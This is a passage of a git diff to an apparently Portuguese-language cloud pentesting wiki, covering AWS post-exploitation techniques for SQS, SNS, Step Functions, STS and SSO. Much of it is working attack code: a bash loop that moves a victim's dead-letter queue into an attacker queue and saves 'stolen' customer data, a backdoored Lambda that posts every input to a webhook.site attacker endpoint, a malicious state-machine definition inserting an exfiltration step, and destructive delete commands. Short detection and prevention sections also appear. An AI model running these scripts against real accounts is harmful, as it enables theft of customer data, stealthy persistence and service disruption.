+**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam.
+
+1) **Descobrir e examinar a DLQ da vítima**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Criar fila de destino controlada pelo atacante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Execute o roubo em massa de mensagens**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Coletar os dados sensíveis roubados**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Notas entre contas
+- A fila de destino deve ter uma resource policy permitindo ao principal da vítima `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
+
+## Por que este ataque é eficaz
+
+1. **Funcionalidade legítima da AWS**: Usa funcionalidades nativas da AWS, tornando difícil detectar como malicioso
+2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
+3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
+4. **Fora do radar**: Muitas organizações não monitoram o acesso aos DLQs de perto
+5. **Capaz entre contas**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
+
+## Detecção e Prevenção
+
+### Detecção
+Monitore o CloudTrail para chamadas de API `StartMessageMoveTask` suspeitas:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevenção
+1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` apenas às funções necessárias
+2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
+3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila SQS que permitem acesso entre contas
+4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
+5. **Limpeza regular**: Não deixe dados sensíveis acumularem nas DLQs indefinidamente
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
new file mode 100644
index 000000000..590fa4e36
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descrição
+
+Abuse uma policy de recurso da fila SQS para permitir que um SNS topic controlado pelo atacante publique mensagens em uma fila SQS da vítima. Na mesma conta, uma subscription SQS para um SNS topic é auto-confirmada; em cross-account, você deve ler o token SubscriptionConfirmation da fila e chamar ConfirmSubscription. Isso possibilita injeção de mensagens não solicitadas que consumidores downstream podem implicitamente confiar.
+
+### Requisitos
+- Capacidade de modificar a policy de recurso da fila SQS alvo: `sqs:SetQueueAttributes` na fila da vítima.
+- Capacidade de criar/publicar em um SNS topic sob controle do atacante: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` na conta/topic do atacante.
+- Apenas cross-account: `sqs:ReceiveMessage` temporário na fila da vítima para ler o token de confirmação e chamar `sns:ConfirmSubscription`.
+
+### Exploração na mesma conta
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Notas entre contas
+- A política da fila acima deve permitir o `TOPIC_ARN` estrangeiro (conta do atacante).
+- As assinaturas não serão confirmadas automaticamente. Conceda a si mesmo temporariamente `sqs:ReceiveMessage` na fila da vítima para ler a mensagem `SubscriptionConfirmation` e então chame `sns confirm-subscription` com seu `Token`.
+
+### Impacto
+**Impacto Potencial**: Injeção contínua de mensagens não solicitadas em uma fila SQS confiável via SNS, potencialmente acionando processamento não intencional, poluição de dados ou abuso de fluxo de trabalho.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
similarity index 77%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
index 836c9bd49..24dc85cad 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
@@ -1,13 +1,13 @@
-# AWS - SSO e identitystore Pós Exploração
+# AWS - SSO & identitystore Pós-exploração
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## SSO e identitystore
+## SSO & identitystore
 
 Para mais informações, consulte:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index 45c3fcd8a..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,184 +0,0 @@
-# AWS - Step Functions Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Para mais informações sobre este serviço AWS, consulte:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Esta permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir o nível de Inspeção como TRACE e o parâmetro revealSecrets como true.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Um atacante com essas permissões seria capaz de excluir permanentemente máquinas de estado, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as máquinas de estado afetadas. Além disso, permitiria que um atacante cobrisse os rastros utilizados, interrompesse investigações forenses e potencialmente paralisasse operações ao remover processos de automação essenciais e configurações de estado.
-
-> [!NOTE]
->
-> - Ao excluir uma máquina de estado, você também exclui todas as suas versões e aliases associados.
-> - Ao excluir um alias de máquina de estado, você não exclui as versões da máquina de estado que referenciam esse alias.
-> - Não é possível excluir uma versão de máquina de estado atualmente referenciada por um ou mais aliases.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Impacto Potencial**: Interrupção de fluxos de trabalho críticos, perda de dados e tempo de inatividade operacional.
-
-### `states:UpdateMapRun`
-
-Um atacante com essa permissão seria capaz de manipular a configuração de falha do Map Run e a configuração paralela, podendo aumentar ou diminuir o número máximo de execuções de fluxos de trabalho filhos permitidos, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo diminuir esse valor para 0, de modo que toda vez que um item falhar, todo o map run falharia, afetando diretamente a execução da máquina de estados e potencialmente interrompendo fluxos de trabalho críticos.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos.
-
-### `states:StopExecution`
-
-Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
-
-> [!WARNING]
-> Esta ação não é suportada por **máquinas de estado expressas**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados.
-
-### `states:TagResource`, `states:UntagResource`
-
-Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Um atacante que comprometer um usuário ou função com as seguintes permissões:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...pode conduzir um **ataque de pós-exploração de alto impacto e furtivo** combinando backdooring do Lambda com manipulação da lógica do Step Function.
-
-Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII.
-
-Exemplo de invocação da vítima:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Se a Step Function estiver configurada para invocar um Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**:
-
----
-
-####  Atualizou a função lambda
-
-O atacante modifica o código da função Lambda já utilizada pela Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente os dados de entrada.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Adicionar um Estado Malicioso à Função de Etapa
-
-Alternativamente, o atacante pode injetar um **estado de exfiltração** no início do fluxo de trabalho atualizando a definição da Função de Etapa.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-onde a vítima não perceberá a diferença
-
----
-
-### Configuração da Vítima (Contexto para Exploração)
-
-- Uma Step Function (`LegitStateMachine`) é usada para processar entradas sensíveis do usuário.
-- Ela chama uma ou mais funções Lambda, como `LegitBusinessLogic`.
-
----
-
-**Impacto Potencial**:
-- Exfiltração silenciosa de dados sensíveis, incluindo segredos, credenciais, chaves de API e PII.
-- Sem erros ou falhas visíveis na execução do fluxo de trabalho.
-- Difícil de detectar sem auditar o código Lambda ou rastros de execução.
-- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
new file mode 100644
index 000000000..d0ea76e88
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -0,0 +1,185 @@
+# AWS - Step Functions Pós-Exploração
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Para mais informações sobre este serviço da AWS, consulte:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Essa permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir Inspection level como TRACE e o parâmetro revealSecrets como true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Um atacante com essas permissões poderia excluir permanentemente state machines, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as state machines afetadas. Além disso, permitiria que um atacante encobrisse os rastros usados, interrompesse investigações forenses e potencialmente prejudicasse operações ao remover processos essenciais de automação e configurações de estado.
+
+> [!NOTE]
+>
+> - Ao deletar uma state machine, você também exclui todas as suas versões e aliases associados.
+> - Ao deletar um alias de state machine, você não exclui as versões da state machine que fazem referência a esse alias.
+> - Não é possível deletar uma versão de state machine que esteja atualmente referenciada por um ou mais aliases.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Impacto Potencial**: Interrupção de workflows críticos, perda de dados e tempo de inatividade operacional.
+
+### `states:UpdateMapRun`
+
+Um atacante com essa permissão poderia manipular a configuração de falha do Map Run e a configuração de paralelismo, podendo aumentar ou diminuir o número máximo de execuções de workflows filhos permitidas, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo reduzir esse valor para 0, de modo que sempre que um item falhar, todo o Map Run falharia, afetando diretamente a execução da state machine e potencialmente interrompendo workflows críticos.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos.
+
+### `states:StopExecution`
+
+Um atacante com essa permissão poderia interromper a execução de qualquer state machine, atrapalhando fluxos de trabalho e processos em andamento. Isso pode resultar em transações incompletas, operações de negócio paralisadas e possível corrupção de dados.
+
+> [!WARNING]
+> Esta ação não é suportada por **express state machines**.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados.
+
+### `states:TagResource`, `states:UntagResource`
+
+Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Impacto Potencial**: Disrupção na alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Um atacante que compromete um usuário ou role com as seguintes permissões:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...pode conduzir um **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring com manipulação da lógica do Step Function.
+
+Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII.
+
+Exemplo de invocação da vítima:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Se a Step Function estiver configurada para invocar uma Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**:
+
+---
+
+####  Atualizou a função Lambda
+
+O atacante modifica o código da função Lambda já usada pela Step Function (`LegitBusinessLogic`) para exfiltrate silenciosamente os dados de entrada.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Adicionar um estado malicioso ao Step Function
+
+Alternativamente, o atacante pode injetar um **exfiltration state** no início do fluxo de trabalho atualizando a definição do Step Function.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+onde a vítima não perceberá a diferença
+
+---
+
+### Configuração da Vítima (Contexto para Exploit)
+
+- A Step Function (`LegitStateMachine`) é usada para processar entrada sensível do usuário.
+- Chama uma ou mais funções Lambda, como `LegitBusinessLogic`.
+
+---
+
+**Impacto Potencial**:
+- Exfiltration silenciosa de dados sensíveis, incluindo secrets, credentials, API keys e PII.
+- Sem erros visíveis ou falhas na execução do fluxo de trabalho.
+- Difícil de detectar sem auditar o código Lambda ou os traços de execução.
+- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
similarity index 61%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
index ee8aa0049..86b02b9c0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
@@ -1,23 +1,22 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Para mais informações:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### De IAM Creds para o Console
+### From IAM Creds to Console
 
-Se você conseguiu obter algumas credenciais IAM, pode ter interesse em **acessar o web console** usando as seguintes ferramentas.\
-Observe que o usuário/função deve ter a permissão **`sts:GetFederationToken`**.
+Se você conseguiu obter algumas credenciais IAM, pode se interessar em **acessar o web console** usando as ferramentas a seguir. Observe que o user/role deve ter a permissão **`sts:GetFederationToken`**.
 
-#### Custom script
+#### Script personalizado
 
-O script a seguir usará o perfil padrão e uma localização AWS padrão (não gov e não cn) para gerar uma URL assinada que você pode usar para fazer login no web console:
+O script a seguir usará o default profile e uma default AWS location (não gov e não cn) para fornecer uma signed URL que você pode usar para fazer login no web console:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -55,7 +54,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-Você pode **gerar um link do console web** com [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
+Você pode **gerar um link para o console da web** com [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -64,7 +63,7 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Certifique-se de que o usuário IAM tenha a permissão `sts:GetFederationToken`, ou forneça uma role para assumir.
+> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma role para assumir.
 
 #### aws-vault
 
@@ -75,11 +74,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> Você também pode usar **aws-vault** para obter uma **sessão do console no navegador**
+> Você também pode usar **aws-vault** para obter uma **browser console session**
 
-### **Contornar restrições de User-Agent a partir do Python**
+### **Bypass User-Agent restrictions from Python**
 
-Se houver uma **restrição para executar certas ações com base no User-Agent** usado (como restringir o uso da biblioteca python boto3 com base no User-Agent), é possível usar a técnica anterior para **conectar-se ao console web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo:
+Se houver uma **restriction to perform certain actions based on the user agent** usada (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **connect to the web console via a browser**, ou você pode diretamente **modify the boto3 user-agent** fazendo:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -94,12 +93,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Com essa permissão é possível criar uma identidade federada para o usuário que a executa, limitada às permissões que esse usuário possui.
+Com essa permissão é possível criar uma identidade federada para o usuário que a utiliza, limitada às permissões que esse usuário possui.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-O token retornado por sts:GetFederationToken pertence à identidade federada do usuário que o chamou, mas com permissões restritas. Mesmo que o usuário tenha direitos de administrador, certas ações — como listar IAM users ou anexar políticas — não podem ser realizadas com o token federado.
+O token retornado por sts:GetFederationToken pertence à identidade federada do usuário que faz a chamada, mas com permissões restritas. Mesmo que o usuário tenha direitos de administrador, certas ações, como listar usuários do IAM ou anexar políticas, não podem ser executadas através do token federado.
 
-Além disso, esse método é um pouco mais furtivo, já que o usuário federado não aparece no AWS Portal; ele só pode ser observado através dos logs do CloudTrail ou de ferramentas de monitoramento.
+Além disso, esse método é um pouco mais discreto, já que o usuário federado não aparece no AWS Portal; ele só pode ser observado através dos logs do CloudTrail ou de ferramentas de monitoramento.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index e7c8b6bc0..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# AWS - VPN Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Para mais informações:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
new file mode 100644
index 000000000..969514d9e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
@@ -0,0 +1,13 @@
